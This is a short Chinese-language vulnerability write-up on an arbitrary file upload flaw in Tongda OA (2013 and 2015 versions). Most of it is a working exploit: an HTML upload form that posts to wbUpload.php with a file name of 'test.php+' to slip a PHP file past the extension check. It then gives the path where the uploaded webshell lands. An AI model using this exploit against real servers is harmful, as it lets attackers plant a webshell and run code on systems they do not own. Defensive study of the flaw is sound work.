通达oa 任意⽂件上传漏洞

通达oa 任意⽂件上传漏洞

漏洞影响

2013、2015版本

复现过程

EXP:

<form enctype="multipart/form-data" action="http://0-sec.org/general/vmeet/wbUpload.php?fileName=test.php+" method="post">
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
</form>

上传jpg之后shell地址为

http://url/general/vmeet/wbUpload/test.php